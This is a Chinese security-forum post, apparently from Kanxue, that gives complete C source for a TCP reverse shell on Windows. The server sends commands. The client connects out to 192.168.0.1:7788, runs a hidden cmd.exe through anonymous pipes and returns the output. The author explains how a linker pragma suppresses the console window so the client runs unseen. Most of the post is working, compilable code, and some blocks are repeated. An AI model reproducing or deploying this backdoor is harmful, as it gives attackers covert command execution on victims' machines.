远程cmd命令执行,字面意思就是在一台机器上面,远程发送cmd命令到另一台机器上执行。
关于远程cmd命令执行,师傅们在网上各显神通,有msf和cobalt strike的,还有wmi等等的,关于powershell,微软在7.1版本及之后也开始支持了更多花式远程操作
windows远程执行cmd命令的各方式2ed-CSDN博客远程cmd
运行远程命令 - PowerShell | Microsoft Docs
在此,结合结合windows C语言网络基础编程知识,手动用TCP实现了一个client-server的远程cmd程序。
思路如下:
服务器端只需要负责发送cmd命令到客户端执行,同时接收客户端的执行输出结果。在这里由于客户端和服务器端都是在windows上进行开发测试,也只同时上线一个客户端,就采用了开启一个子线程专门负责接收返回结果。如果是上线多个客户端,可以采用select模型,或者在linux上也可以采取poll和epoll去处理多个客户端的问题。
服务器端源代码,tcp-socket通信部分,参考《C++黑客编程揭秘与防范》(第三版)2.2.1节,增加单独启用线程接受返回数据的代码即可。源码如下:
程序各个部分的功能,在参考书籍中都有清晰的讲解,这里补充说明一下buffer大小和循环读取,及输入设计。
buffer大小设置为0x4000是因为不同命令的返回结果大小也是不一样的,同时为了后续添加其他扩展功能,设置了这么大,大小可以根据需要做具体的调整。
这里发送和接受使用的是同一个socket通信,这就相当于读写数据用的是同一根管道,只有有数据被写入,那么就可以随时读,所以设计了一个while循环去不断的读,而写数据的话,由于已经有一个输入的接口了,那就直接无限写即可,这种方式的读和写是不冲突的,至少现在测试来看,他没有发送这种读写的错误。
这里同样参考自《C++黑客编程揭秘与防范》(第三版)这本书,除了它的2.2.1节外,还参考了8.1.7节,采用匿名管道技术,创建一个cmd子进程,然后单独启动一根线程读取cmd的输出并发送至服务器端。主线程则负责接受服务器端发送来的cmd命令。
这里,#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
语句是告诉编译器,它在运行时不弹出黑框,隐藏窗口,具体参考:Windows 隐藏控制台 - YZFHKMS-X - 博客园 (cnblogs.com)
此外,也可以在VS2019(其他编译器方法类似)的编译选项里进行相应的设置,以达到同样的效果
如若要运行以上代码进行测试,在客户端输出查看效果,可注释#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
语句进行编译,运行同时打开任务管理器查看进程的变化。
char recvClientBuf[
0x4000
];
VOID recvClientMsg(SOCKET
*
s)
{
while
(true)
{
memset(recvClientBuf,
0
,
0x4000
);
int
recvLength
=
recv(
*
s, recvClientBuf,
0x4000
,
0
);
if
(recvLength >
0
)
{
printf(
"%s"
, recvClientBuf);
}
else
{
printf(
"remote cmd exit!\n"
);
return
;
}
}
}
VOID testSocketCmd()
{
WSADATA wsaData;
int
ret
=
WSAStartup(MAKEWORD(
2
,
2
), &wsaData);
SOCKET server
=
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
struct sockaddr_in ServerAddr;
ServerAddr.sin_family
=
AF_INET;
inet_pton(AF_INET,
"192.168.0.1"
, &ServerAddr.sin_addr);
ServerAddr.sin_port
=
htons(
7788
);
if
(SOCKET_ERROR
=
=
bind(server, (SOCKADDR
*
)&ServerAddr, sizeof(ServerAddr)))
{
int
a
=
WSAGetLastError();
closesocket(server);
WSACleanup();
printf(
"bind error %d\n"
, a);
exit(
0
);
}
if
(SOCKET_ERROR
=
=
listen(server, SOMAXCONN))
{
int
a
=
WSAGetLastError();
closesocket(server);
WSACleanup();
printf(
"listen error\n"
);
exit(
0
);
}
SOCKET client
=
accept(server, NULL, NULL);
sockaddr_in sockClient;
int
len
=
sizeof(sockClient);
getpeername(client, (struct sockaddr
*
)&sockClient, &
len
);
char ip[INET_ADDRSTRLEN]
=
{
0
};
inet_ntop(AF_INET, &sockClient.sin_addr, ip, sizeof(ip));
printf(
"client is %s\n"
, ip);
HANDLE hRecvThread
=
CreateThread(NULL,
0
, (LPTHREAD_START_ROUTINE)recvClientMsg, &client,
0
, NULL);
if
(hRecvThread
=
=
NULL)
{
return
;
}
char sendBuffer[
1024
];
while
(true)
{
if
(WAIT_OBJECT_0
=
=
WaitForSingleObject(hRecvThread,
0
))
{
printf(
"thread cmd exit\n"
);
break
;
}
memset(sendBuffer,
0
,
1024
);
gets_s(sendBuffer,
1024
);
send(client, sendBuffer, strlen(sendBuffer),
0
);
Sleep(
0.5
*
1000
);
}
closesocket(client);
closesocket(server);
WSACleanup();
}
int
main()
{
testSocketCmd();
return
0
;
}
char recvClientBuf[
0x4000
];
VOID recvClientMsg(SOCKET
*
s)
{
while
(true)
{
memset(recvClientBuf,
0
,
0x4000
);
int
recvLength
=
recv(
*
s, recvClientBuf,
0x4000
,
0
);
if
(recvLength >
0
)
{
printf(
"%s"
, recvClientBuf);
}
else
{
printf(
"remote cmd exit!\n"
);
return
;
}
}
}
VOID testSocketCmd()
{
WSADATA wsaData;
int
ret
=
WSAStartup(MAKEWORD(
2
,
2
), &wsaData);
SOCKET server
=
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
struct sockaddr_in ServerAddr;
ServerAddr.sin_family
=
AF_INET;
inet_pton(AF_INET,
"192.168.0.1"
, &ServerAddr.sin_addr);
ServerAddr.sin_port
=
htons(
7788
);
if
(SOCKET_ERROR
=
=
bind(server, (SOCKADDR
*
)&ServerAddr, sizeof(ServerAddr)))
{
int
a
=
WSAGetLastError();
closesocket(server);
WSACleanup();
printf(
"bind error %d\n"
, a);
exit(
0
);
}
if
(SOCKET_ERROR
=
=
listen(server, SOMAXCONN))
{
int
a
=
WSAGetLastError();
closesocket(server);
WSACleanup();
printf(
"listen error\n"
);
exit(
0
);
}
SOCKET client
=
accept(server, NULL, NULL);
sockaddr_in sockClient;
int
len
=
sizeof(sockClient);
getpeername(client, (struct sockaddr
*
)&sockClient, &
len
);
char ip[INET_ADDRSTRLEN]
=
{
0
};
inet_ntop(AF_INET, &sockClient.sin_addr, ip, sizeof(ip));
printf(
"client is %s\n"
, ip);
HANDLE hRecvThread
=
CreateThread(NULL,
0
, (LPTHREAD_START_ROUTINE)recvClientMsg, &client,
0
, NULL);
if
(hRecvThread
=
=
NULL)
{
return
;
}
char sendBuffer[
1024
];
while
(true)
{
if
(WAIT_OBJECT_0
=
=
WaitForSingleObject(hRecvThread,
0
))
{
printf(
"thread cmd exit\n"
);
break
;
}
memset(sendBuffer,
0
,
1024
);
gets_s(sendBuffer,
1024
);
send(client, sendBuffer, strlen(sendBuffer),
0
);
Sleep(
0.5
*
1000
);
}
closesocket(client);
closesocket(server);
WSACleanup();
}
int
main()
{
testSocketCmd();
return
0
;
}
typedef struct send_to_server
{
HANDLE hParentRead;
SOCKET s;
char readBuffer[
0x4000
];
}SEND_TO_SERVER,
*
PSEND_TO_SERVER;
VOID readCmdOutPut(PSEND_TO_SERVER pSts)
{
DWORD dwReadSize
=
0
;
do
{
memset(pSts
-
>readBuffer,
0
,
0x4000
);
dwReadSize
=
0
;
BOOL
bRet
=
PeekNamedPipe(pSts
-
>hParentRead, pSts
-
>readBuffer,
0x4000
, &dwReadSize, NULL, NULL);
if
(dwReadSize >
0
)
{
bRet
=
ReadFile(pSts
-
>hParentRead, pSts
-
>readBuffer,
0x4000
, &dwReadSize, NULL);
send(pSts
-
>s, pSts
-
>readBuffer, strlen(pSts
-
>readBuffer),
0
);
}
else
{
Sleep(
0.5
*
1000
);
}
}
while
(TRUE);
}
VOID cmd_pipe(SOCKET s)
{
HANDLE hParentRead, hParentWrite, hChildRead, hChildWrite;
STARTUPINFOA si
=
{
0
};
si.cb
=
sizeof(si);
PROCESS_INFORMATION pi
=
{
0
};
DWORD dwWriteBytes
=
0
;
DWORD dwReadBytes
=
0
;
DWORD dwBytesRead
=
0
;
DWORD dwTotalBytesAvail
=
0
;
DWORD dwBytesLeftThisMessage
=
0
;
SECURITY_ATTRIBUTES sa
=
{
0
};
sa.lpSecurityDescriptor
=
0
;
sa.nLength
=
sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle
=
TRUE;
BOOL
bRet
=
CreatePipe(&hParentRead, &hChildWrite, &sa,
1024
);
bRet
=
CreatePipe(&hChildRead, &hParentWrite, &sa,
1024
);
GetStartupInfoA(&si);
si.hStdInput
=
hChildRead;
si.hStdError
=
si.hStdOutput
=
hChildWrite;
si.dwFlags
=
STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow
=
SW_HIDE;
char cmd[MAX_PATH]
=
{
0
};
GetSystemDirectoryA(cmd, sizeof(cmd));
strcat_s(cmd,
"\\cmd.exe"
);
LPSTR lpApplicationName
=
(LPSTR)
"cmd.exe\r\n"
;
bRet
=
CreateProcessA(cmd, NULL, NULL, NULL, TRUE,
0
, NULL, NULL, &si, &pi);
Sleep(
1
*
1000
);
PSEND_TO_SERVER pSts
=
(PSEND_TO_SERVER)calloc(
1
, sizeof(SEND_TO_SERVER));
if
(pSts
=
=
NULL)
{
return
;
}
pSts
-
>hParentRead
=
hParentRead;
pSts
-
>s
=
s;
HANDLE hReadThread
=
CreateThread(NULL,
0
, (LPTHREAD_START_ROUTINE)readCmdOutPut, pSts,
0
, NULL);
char szBuffer[
1025
];
do
{
memset(szBuffer,
0
,
1025
);
int
recvLen
=
recv(s, szBuffer,
1024
,
0
);
if
(recvLen >
0
)
{
strcat_s(szBuffer,
"\r\n"
);
WriteFile(hParentWrite, szBuffer, strlen(szBuffer), &dwWriteBytes,
0
);
Sleep(
0.5
*
1000
);
}
else
{
/
/
printf(
"server exit\n"
);
free(pSts);
break
;
}
if
(WAIT_OBJECT_0
=
=
WaitForSingleObject(pi.hProcess,
0
))
{
send(s,
"cmd exit\n"
, strlen(
"cmd exit\n"
),
0
);
free(pSts);
break
;
}
}
while
(true);
TerminateProcess(pi.hProcess,
0
);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(hParentRead);
CloseHandle(hParentWrite);
CloseHandle(hChildRead);
CloseHandle(hChildWrite);
}
int
main()
{
WSADATA wsaData;
int
ret
=
WSAStartup(MAKEWORD(
2
,
2
), &wsaData);
SOCKET s
=
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
struct sockaddr_in ServerAddr;
ServerAddr.sin_family
=
AF_INET;
inet_pton(AF_INET,
"192.168.0.1"
, &ServerAddr.sin_addr);
ServerAddr.sin_port
=
htons(
7788
);
connect(s, (SOCKADDR
*
)&ServerAddr, sizeof(ServerAddr));
Sleep(
100
);
cmd_pipe(s);
closesocket(s);
WSACleanup();
return
0
;
}
typedef struct send_to_server
{
HANDLE hParentRead;
SOCKET s;
char readBuffer[
0x4000
];
}SEND_TO_SERVER,
*
PSEND_TO_SERVER;
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2021-7-4 23:42
被For@*编辑
,原因: